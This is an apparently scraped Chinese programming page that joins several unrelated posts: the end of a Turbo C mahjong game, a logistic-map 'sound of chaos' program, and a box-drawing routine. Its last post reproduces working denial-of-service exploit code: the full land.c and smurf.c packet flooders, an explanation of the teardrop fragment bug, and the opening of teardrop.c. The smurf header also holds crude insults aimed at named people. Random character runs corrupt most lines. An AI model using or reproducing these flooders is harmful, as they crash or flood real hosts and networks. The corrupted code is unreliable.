1 `4 A: z- p# W( Y; ?else
- \) b6 K( g% a/ m# P0 Km[computer.pp[kkk].number].data1=1;
kkk++;
}
kkk=0;
( G0 H5 h3 |% ?$ U6 L/ Gcomputer.m=computer.m-1;
6 `/ c$ y' p4 \+ p- j4 Vwhile(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
: X8 z3 {1 a) w2 ckkk++;
2 G5 p$ w- x1 \1 U: Y2 `+ {% v}
fillRectangle(0,0,320,30,0);
" Z$ l" R8 q7 `, @/ Fn=computer.m;
* ^" i) |; h: W! j2 ill=0;
2 E; r7 n, a  s- E: dzy=0;
while(ll&lt;=n)
{
8 H7 m2 _( z" C  Izy=zy+20;
/ E! X+ j3 h! ], i5 N: @, xshowybmp(ll);
! k( R6 N6 J/ T& P! t! Rll++;
/ O% S' p- I" q4 ?7 M}

, k9 w. ]) h4 H' \5 agetch();
$ S$ ^* u( g% t; H7 d( f% Vsing=0;
sing1=1;
}
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
$ j. o: O( V- U{
kk=0;
/ M% d. o$ B) t. @h=me.pp[every].number;
6 \7 ~% P2 D( T  V/ M2 Ym[h].data1=1; /*此牌已经无用*/
3 h5 Q# e  J4 n% n+ g  eif(sing1!=1)
{
zyy=zyy+9280+20;
showbmpd(every);
zyy=zyy-9280;
}
while(kk!=1)
{
, a* ?9 C) D8 K- {  rtemp=random(136);
( U/ f9 ^4 r7 X: {( m3 Wif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
me.pp[every].number=temp; /*第几张，用来排序*/
m[temp].data2=1; /*判断牌是谁的*/
- D! U5 U: t" tkk=1;
}
if(kk==0) /*判断如果又选择了，就从新再选*/
kk=0;
8 L8 X) x- H& |4 J& r& P}
. f5 A% A/ t4 u4 f}
sing=0;
4 Y' v$ c* G" r3 k& ^" Z  F. esing1=0;
# z0 r; J. i6 M. t# o$ |  jmelipai();
n=13;
5 f0 D/ G0 u/ r- ]( gz1=54400;
l=0;
- l6 X$ }/ v$ c0 v0 Xg=z;
while(l&lt;n)
{ z=0;
z1=z1+20;
$ n7 o2 f) p4 m: Cshowbmp(l);
# o( X: v( F% Q) N1 ]+ R; ?l++;
5 C, ]& e: _/ O/ a% P' D}
z1=0;
0 o5 f) y" p$ h; O) r6 |/ ~z=g;
9 U, B& p1 y" q# I% {% M}
keyy=0;
}
9 j& x% o# j+ C7 I6 ?3 z( ~
getch();
OUTVGA;
}
  p; [8 ]$ x/ m) X5 E1 G7 V; ?</P></DIV>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>　　本世纪70年代初，美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型： χ[n＋1]=k＊χ[n]＊(1－χ[n])
</P><>　　其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值，然后不停地迭代，人们发现随着k值的不同，得到的序列χn 有许多有趣的现象。当k值介于0与1之间时，χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k，当k值大于3时，经过一定次数的迭代后χ[n]在2个值之间交替变化，k值增加到3.449附近时，交替变化值又变为4个。继续增加k值，χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍，终于一片混沌。但当k值在3.835附近时，经过一定次数的迭代后，χ[n]非常简单地在3个值之间交替变化，接着又迅速依3→6→12的次序迅速增长。如此反复，在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示：
' h$ p0 v( W* X& t5 g2 d- R
9 o9 h- u- J: ]7 l. W　　为了体现这种复杂之中的无穷奥妙，下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率，设定不同的k值，我们就可以聆听到混沌的声音。
3 b$ {' u  F/ _7 h: Z　　<FONT color=#009900>＃include <DOS.H>
( c  ]" ^5 Y; K　　＃include <STDIO.H>
　　main(){
　　int fMin=20,fMax=16000; /＊fMin代表最低频率，fMax代表最高频率＊/
　　int fDis,i,j; /＊fDis代表最高频率和最低频率之间的差值＊/
2 Q3 C0 b6 w+ u  ~  }　　/＊i,j用于循环记数＊/
　　float x=0.1,k; /＊x代表x[n]的大小，设定其初始值为0.1，即x[0]=0.1＊/
$ z+ h9 r: [9 i; X3 C" {3 [2 k　　fDis=fMax－fMin;
　　for(j=1;;j＋＋){
　　printf("lease input The value of k(1－4.0)\n"); /＊输入k值＊/
3 Y8 f6 G5 `5 Y/ r4 Q　　printf("If you want to quit,Please input:0\n"); /＊如果k=0退出＊/
　　scanf("％f",＆k);
# K1 Q7 p0 w3 T& P　　if (k==0) break;
　　for(i=1;i&lt;100;i＋＋) /＊去除开始的100个点＊/
　　x=k＊x＊(1－x);
　　for (i=1;i&lt;100;i＋＋){
- a( P& Y0 y+ S1 `( O$ B$ r8 V, Z　　x=k＊x＊(1－x); /＊计算x的值＊/
　　sound(x＊fDis＋20); /＊用x的值控制PC喇叭的发音频率＊/
( [" _! a: \- m8 R( k& N　　delay(1000); }
　　nosound(); }}
8 K8 v- L! f' f( X  g% D( n　　</FONT>执行上面的小程序时，k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时，喇叭里传出的只有一个音调，重复又烦人。当k值稍稍大于3时，便开始有了韵律：so－mi－so－mi…。k值增加到3.449时，变成了so－fa－la－mi－so－fa－la－mi…，再增加k值，韵律更加复杂，终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时，音调又变成了mi－so－ti－mi－so－ti…，再增加k值又迅速地变得更加复杂。
不停地改变k值，仔细聆听，会听到混沌中的无限奥妙。</P></DIV>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
<FONT color=#009900>/*
: I; n0 H2 c$ ]" f7 z1 S*
5 E& t8 z8 v# v( e; T2 `* Short driver module
$ j3 h% l, j! ]8 {5 \*
! W. [. K% n. L5 k1 [*/</FONT></P><><FONT color=#009900>main()
7 a7 y1 Z8 c0 A% m) }{
- N, k( y4 o7 o1 j5 Xclrscr();
box(1,1,23,79);
+ [7 h4 s. q! r" f+ r( s7 S; x  ]4 _box(2,2,21,77);
5 v! F* G6 `' J3 D7 k2 q( Wbox(3,3,19,75);
& M& U. V$ W* |( W' S+ w" c0 T4 a  s, Obox(4,4,17,73);
7 Z0 G8 e0 T. s6 Z1 Rbox(5,5,15,71);
2 i# h( b/ \$ M3 |box(6,6,13,69);
* d7 @% ], y4 ?( [! J4 @3 h/ Pbox(7,7,11,67);
box(8,8,9,65);
8 m' q3 e9 }  [4 a* c2 P% Lbox(9,9,7,63);
% o! @& i+ E+ zbox(10,10,5,61);
# e9 j6 J7 n& O- ?! \5 gbox(11,11,3,59);
( d  ^7 X' L1 w2 ibox(12,12,1,57);
; U8 H0 X2 d1 n4 B, t& v$ Z. yposcur(24,1);
- z7 O9 e- w9 Y7 i( O  q}</FONT></P><><FONT color=#009900>/************************************************************
. j! u+ M+ c. N1 s: O- h* BOX *
*----------------------------------------------------------*
/ t( T2 q" T7 r* Written by: Jeff Ebert 7/01/87 *
: }7 o, |6 F9 A* Modified by: xxxxxxxxxx *
, V6 A, i& S7 A- S0 j! S* *
* Please modify me! *
* Possible Enhancements include but are not limited t *
# h; H) @7 r! v7 g, X5 H* 1) Variable box character styles [1 line or 2] *
0 r$ S& k$ L8 a% t: S- R/ r& F0 Z- h* 2) Error checking *
/ s6 s) ~  z' _& t$ _, B* 3) Color options *
0 H% D! e1 ]( d2 f% A* *
* *
* This function builds a simple double frame for a menu. *
2 r1 A! w& n) |, H+ x/ ?* The function is passed the parameters for the upper *
* left corner row, upper left corner column the height *
0 y, K. x0 D5 p9 F* of the frame and the width. *
' }) @* v1 V# S8 ^* *
************************************************************/
$ G3 R) D9 z( W7 b0 A* `#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
' f* {* y: P0 r1 ~#define URCOR 187
5 r8 U' O* X( s' R  V#define LLCOR 200
/ u( b, r$ b5 U/ s8 a#define LRCOR 188
) H: Q+ Q  Y  g5 F#define VBAR 186
#define HBAR 205
#define ESC 27</FONT></P><><FONT color=#009900>
4 _# L) V  ^9 C  c4 Ubox(row, col, hgt, wdth)
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
8 S& G! J5 Y5 M& V9 n9 r2 q0 oint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
putchar(ULCOR);
4 J# X6 ?2 m7 Tfor(x = col + 1; x &lt;=(col + wdth -1); x++)
0 |. z! b  b9 C+ k. gputchar(HBAR);
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
poscur(x,col);
putchar(VBAR);
% O6 _0 |0 l' U. aposcur(x,col+wdth);
putchar(VBAR);
}
+ r. I' P  c/ Xposcur(x,col);
putchar(LLCOR);
for(x= col + 1; x &lt;=(col + wdth -1); x++)
8 {# Y7 w0 ?% V. r/ ?putchar(HBAR);
putchar(LRCOR);
}</FONT></P><><FONT color=#009900>/********************************************************
* POSCUR *
8 r! o* H' N1 J& o0 N*------------------------------------------------------*
* This function positions the cursor at the specified *
" D/ R4 Q7 |( z' u' s* x,y coordinate. It uses the ANSI standard ESCAPE *
' S% R) i% f1 `6 j% [( \2 d! |! j* sequence to produce the desired effect. Its not the *
* fastest way to position the cursor, but perhaps the *
0 z- {  m, ~7 H# ~! ]* most portable. *
* *
$ z) ?, n6 b% `********************************************************/
0 a9 s4 D7 P% ^& P1 Z$ {3 Lposcur(xcor,ycor)
int xcor,ycor;
9 \5 C0 Q6 s. d{
printf("%c[%d;%dH",ESC,xcor,ycor);
' A, P# w  U: g* |, h" T}</FONT></P><><FONT color=#009900>
5 E. ]) {/ r9 D% ]& L2 y5 x/********************************************************
+ J* w' X& ?. t6 T- p- A0 L/ T* CLRSCR *
*------------------------------------------------------*
! \, P% z$ h; T* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
3 B, {2 K  k1 s" X% n+ D* sequence to produce the desired effect. Its not the *
8 P! T  z- J- \/ p2 O* fastest way to position the cursor, but perhaps the *
  E5 _$ j$ \8 W' D$ u$ o, B5 E1 }* most portable. *
0 a' g5 G6 \  Z) B8 p) _  I; ^3 k  m* *
********************************************************/
/ F# N9 l2 u' @6 y& W+ ^1 @6 rclrscr()
- Z+ z7 T) y+ f( U# }{
printf("%c[2J",ESC);
}</FONT>
& @2 g4 W* N# T. t</P>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
这里有一些是老的，现在看来并没有用，但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
己的同一个端口发起连接（发SYN），Win95即会崩溃。</P><>
<FONT color=#009900>/* land.c by m3lt, FLC
4 f. n0 t8 E* F, B9 G! h" x4 ~crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
#include <NETDB.H>
#include <ARPA inet.h>
% s8 G3 a3 y, `+ g#include <NETINET in.h>
#include <SYS types.h>
#include <SYS socket.h>
#include <NETINET ip.h>
; E- q. `' W( f5 y0 \! v1 C! h#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
, X. q. Y9 D  |  A% a0 m! J3 ostruct pseudohdr
" n  |9 J0 h/ ]. H4 z( Y{
6 N1 S, `2 R( a7 kstruct in_addr saddr;
struct in_addr daddr;
" v8 c0 a) h) i- k# au_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};</FONT></P><><FONT color=#009900>//计算IP校验和
9 p, N! ]2 K. d. i7 U6 e  wu_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
3 D2 Z. `3 [' f) j5 Bvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
; }" z- k: {5 h9 I' h+ F$ ivalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
) T; W( U* I3 C. Q7 \9 z}</FONT></P><><FONT color=#009900>
/ N, _' V+ [; A! }0 wint main(int argc,char * * argv)
{
struct sockaddr_in sin;
; _6 t/ E3 _  J" |' Wstruct hostent * hoste;
! Y6 W' [& h3 O5 Qint sock;
$ E& n" K: V/ m& e4 Wchar buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
* k* D0 U' G: M: Ostruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
{
fprintf(stderr,"usage: %s IP port\n",argv[0]);
3 f2 K, W, d9 ]% b9 G- f7 ]return(-1);
8 U/ I. R2 t3 g}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
5 Z$ \3 w& ^9 `0 m& Qsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
$ x8 B  k% j  F- L4 _) s3 j0 X, b{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
{
- K$ a( u, r# j9 r0 D* C& m2 o0 vfprintf(stderr,"unknown port %s\n",argv[2]);
" q- J% B, {- c8 D. c; @return(-1);
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
. {- y' t( o/ i- u1 _0 H/ xfprintf(stderr,"couldn't allocate raw socket\n");
4 H% x! A- ?+ @6 I: T9 dreturn(-1);
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader-&gt;version=4;
ipheader-&gt;ihl=sizeof(struct iphdr)/4;
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader-&gt;id=htons(0xF1C);
/ D# i+ ^4 {5 s8 l2 A( r# iipheader-&gt;ttl=255;
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
ipheader-&gt;saddr=sin.sin_addr.s_addr;
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
tcpheader-&gt;th_sport=sin.sin_port;
tcpheader-&gt;th_dport=sin.sin_port;
tcpheader-&gt;th_seq=htonl(0xF1C);
: I( ^7 w7 \5 J" |  W! Ctcpheader-&gt;th_flags=TH_SYN;
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
  ~! ^. f, T4 |& {0 G: Tbcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
! l% I, T, d( a+ a- d& Itcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
$ W- }9 U3 w+ Y# u, K  V/ ^' b{
9 t* ?! J8 h8 v, Tfprintf(stderr,"couldn't send packet\n");
1 Z  [7 [" s9 i1 w0 r4 D9 {return(-1);
6 g( S/ k# ]6 g7 n" c, x8 ]0 `}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
9 g. E' M6 t: J; k. V) R6 ureturn(0);
& e0 H# C) K( {7 }$ r7 y}</FONT></P><>
) S; D+ U0 l& m: y/ b2 Smurf
smurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数
9 K6 L; l% l" \  x据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包
的源地址）崩溃。</P><>受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
icmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢
（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变
成不可能（没有WINS服务器时）。</P><P>/*
*
) f0 z7 J- u( W0 J  x  k* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
*
* spoofs icmp packets from a host to various broadcast addresses resulting
* in multiple replies to that host from a single packet.
# E6 u1 ]; j% V2 Q*
* mad head t
# l4 H" F. R# x6 x9 s) o7 u+ T; x1 `* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
* MissSatan for swallowing, napster for pimping my sister, the guy that
4 R2 f- c* o* w+ U* invented vaseline, fyber for trying, knowy, old school #havok, kain
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
+ C/ _, o  Y" i5 J* have missed (you know who you are).
*
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
- ]! Q% Q3 \" X8 G* thing he is (he's -almost- as stubborn as me, still i managed to pick up
* half the cheque).
*
* and a special hi to Todd, face it dude, you're fucking awesome.
: j) t  w8 `: x- B$ r6 h% i5 ]*
* mad anal t
7 J9 N# q& K3 M: e* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
/ o) F- o2 p1 m* because they plain suck, Rolex for being a twit, everyone that
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
2 h" Q. ]' S# E4 K* partner, #cha0s, sedriss for having an ego in inverse proportion to
- v/ C+ Y: j- g4 u6 ^9 b4 Y! B* his penis and anyone that can't pee standing up -- you don't know what
$ G! l% X- b& o4 ]7 ^; S. ~* your missing out on.
*
; S7 q! f: E) N" C. ]* and anyone thats ripped my code (diff smurf.c axcast.c is rather
* interesting).
*
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
* Robbins for trying to steal my girlfriend. Not only did you show me
* no respect but you're a manipulating prick who tried to take away the
* most important thing in the world to me with no guilt whatsoever, and
- i; k6 e. y8 J- v( ~" q' b* for that I wish you nothing but pain. Die.
*
5 }; p9 E5 ?$ ?. `4 a1 u3 f* disclaimer:
$ H8 I; Z. X4 X* I cannot and will not be held responsible nor legally bound for the
. w! Y) d- L- {. P* malicious activities of individuals who come into possession of this
* program and I refuse to provide help or support of any kind and do NOT
* condone use of this program to deny service to anyone or any machine.
4 `" C& M8 p  d- {, Y; R/ |$ B% X* This is for educational use only. Please Don't abuse this.
*
) ~' f* t! ~# V7 E4 [: K4 D* Well, i really, really, hate this code, but yet here I am creating another
# d" X6 _- s5 X) M* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
+ q7 }* H0 W) k# Z; x% \* like most programmers don't like seeing bugs in their code. I saw a few
* things that should have been done better or needed fixing so I fixed
5 \2 H3 d7 l; |6 J7 c* them. -shrug-, programming for me as always seemed to take the pain away
) n0 X- Z0 O4 |9 }; M* s6 v1 ~' Q5 R$ f* ...
& ]/ d/ w+ x" c" p4 y. g0 F6 N*
1 b6 c) f( ?* ]- d& o4 K; c/ ^- X*
*/</P><P>#include <SIGNAL.H>
#include <STDIO.H>
#include <STDLIB.H>
#include <SYS socket.h>
3 u% b0 {7 M. g* H#include <SYS types.h>
$ u; M- ~, J7 N1 G# W6 T#include <NETINET in.h>
$ A: K0 W' q( |" p  ~4 p#include <NETINET ip.h>
#include <NETINET ip_icmp.h>
#include <NETDB.H>
#include <CTYPE.H>
#include <ARPA inet.h>
% K0 i" N! y( c; r7 a2 ]$ r#include <UNISTD.H>
! ]; ?2 t7 h( X#include <STRING.H></P><P>void banner(void);
7 ?( F# l) m' E+ jvoid usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
. K! b$ g, _* p& Lvoid ctrlc(int);
' W( a/ F; D- m- O5 j  u# Punsigned short in_chksum(u_short *, int);</P><P>/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
; R) v+ b/ r# i, F{
' U3 g6 @  ~- [  jstruct sockaddr_in sin;
( @9 v2 T8 r2 istruct hostent *he;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
perror("resolving source host");
exit(-1);
}
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
sin.sin_family = AF_INET;
) Z+ E' j8 L+ l: W6 _sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
) R" O0 F1 Y/ Pdelay = atoi(argv[4]);
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
6 \/ G, x7 z- W0 ?  o; Pperror("opening bcast file");
exit(-1);
( t6 }. Q# _! j0 B  R& n% w}
! G+ n! b! ?/ C3 fx = 0;
* G& V" q7 t+ m5 fwhile (!feof(bcastfile)) {
fgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
- ]! c* a  S% `3 L. [7 k+ zfor (i = 0; i &lt; strlen(buf); i++)
& Z- B5 o" c3 ^. ^# I3 nif (buf == '\n') buf = '\0';
bcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
x++;
& C) p9 H8 S3 {}
3 ], [: W, Y6 ^" Z7 ~5 w/ Qbcastaddr[x] = 0x0;
fclose(bcastfile);</P><P>if (x == 0) {
" ~1 x5 J9 T' B! Z. Pfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
exit(-1);
}
if (pktsize &gt; 1024) {
. L6 E7 k; q7 o) U. i6 ^3 G- Qfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
exit(-1);
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
& h' ?; A: o" _6 @: S; W) Dperror("getting socket");
exit(-1);
}
3 s* W% n; {, Osetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
if (!(i % 25)) { printf("."); fflush(stdout); }
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
0 \9 w& b7 C8 H7 C2 ?cycle++;
5 t+ F: l4 h6 {  rif (bcastaddr[cycle] == 0x0) cycle = 0;
( d* W% [/ M  z) O2 z. S- O6 k; \# ausleep(delay);
, _7 H' p0 ]3 b! D) ]# h}
. v* g  N; l8 K2 J# Sputs("\n\n");
: g; x. f9 a2 w% _. vreturn 0;
}</P><P>void banner (void)
{
puts("\nsmurf.c v4.0 by TFreak\n");
; M" F. P0 ?8 x}</P><P>void usage (char *prog)
{
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
"<NUM packets> <PACKET delay><PACKET size>\n\n"
/ x2 r" H6 t8 k& Y% r"target = address to hit\n"
7 J" W9 U6 `" x5 v! G7 P& Y"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ms)\n"
0 G( L9 R5 {  ?- P8 d$ F9 Q"packet size = size of packet (&lt; 1024)\n\n", prog);
exit(-1);
$ \" B# L( o/ L+ P' B  v0 s8 @}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
% ~! p/ q* s1 D( S7 Hstruct iphdr *ip;
struct icmphdr *icmp;
5 g6 }+ }! w% Z3 Q7 [! k# zchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
0 q% g3 j" ?- {+ oicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip-&gt;ihl = 5;
# }3 @$ O% I0 C. Fip-&gt;version = 4;
0 h. x1 m8 K! u+ |( Xip-&gt;ttl = 255;
) z4 m# s, E& @( o& U  nip-&gt;tos = 0;
" G+ f% C# L0 R% q: eip-&gt;frag_off = 0;
ip-&gt;protocol = IPPROTO_ICMP;
# w+ s% y! r& d$ {$ F! _) Aip-&gt;saddr = sin.sin_addr.s_addr;
9 u  n6 z; ^) Aip-&gt;daddr = dest;
* S2 O) l: y& g- H$ X4 j+ eip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
: l1 u: i" X1 Xicmp-&gt;type = 8;
( {. z- i' c) ]( K- `icmp-&gt;code = 0;
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
6 [. y5 \. O8 |+ G0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
}</P><P>void ctrlc (int ignored)
0 a$ E" a5 w4 V5 i{
puts("\nDone!\n");
exit(1);
}</P><P>unsigned short in_chksum (u_short *addr, int len)
{
register int nleft = len;
6 g- x3 r( T  `$ h0 {register int sum = 0;
u_short answer = 0;</P><P>while (nleft &gt; 1) {
sum += *addr++;
nleft -= 2;
/ A0 j. }1 o" U% P}</P><P>if (nleft == 1) {
+ V/ V& N5 X1 h*(u_char *)(&amp;answer) = *(u_char *)addr;
9 y4 u! @- z% j4 @( w' nsum += answer;
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
sum += (sum &gt;&gt; 16);
; {, m- G3 B" t) c/ g% _answer = ~sum;
return(answer);
}</P><P>
# J- N& U; a5 e3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中：</P><P>在循环中重组ip包：
5 u) j9 c6 Y8 ~, ~3 Yfp = qp-&gt;fragments;
8 P3 S; x% n" dwhile(fp != NULL)
& _( t9 U6 b9 U' Y/ y. S( s{
if(count+fp-&gt;len &gt; skb-&gt;len)
- C) k" c5 _4 _- U) E6 w4 D{
* F2 y6 b0 P5 Z! n. P+ R& [error_to_big;
* ~$ ^+ a9 A, x& {) a( F}
0 w, a2 B& r1 V5 [0 \1 ?2 Amemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
7 F+ g( ?" P# Ucount += fp-&gt;len;
7 S( ^* I* D( Zfp = fp-&gt;next;
}
$ T$ v9 A3 k/ P这里只检查了长度过大的情况，而没有考虑长度过小的情况，
如 fp-&gt;len&lt;0 时，也会使内核拷贝过多的东西。</P><P>计算分片的结束位置：
0 M8 @5 a# J1 a! A  _; dend = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）
1 b# B* A* [* k  t2 L' h! G/ W' ?是这样处理的：
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
{
i = prev-&gt;end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}</P><P>/* Fill in the structure. */
fp-&gt;offset = offset;
fp-&gt;end = end;
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞：
2 }2 o1 s  t' @5 K第一个碎片：mf=1 offset=0 payload=20
敌二个碎片：mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
offset=0
这样第二个碎片的 end=9+10=19
offset=offset+（20-offset）=20
fp-〉len=19-20=-1； </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
; e. a5 f$ a% l0 P; \0 u( [0 }/*
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
  K! e0 N& ]% J3 T5 z: ]*
- p7 O$ v5 k- N- J9 C& K4 F" [  M* Linux/NT/95 Overlap frag bug exploit
*
8 {& Z/ E9 T+ P* Exploits the overlapping IP fragment bug present in all Linux kernels and
$ [: U  ~! q4 p* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
: \9 Y) k0 s! `' v* v* Compiles on: Linux, *BSD*
3 R; j! ~8 d, `7 T4 u*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
. Y2 I0 m' i, Y' S* `: A& G*/</P><P>#include <STDIO.H>
7 v, a9 C9 R( H9 h/ @- z#include <STDLIB.H>
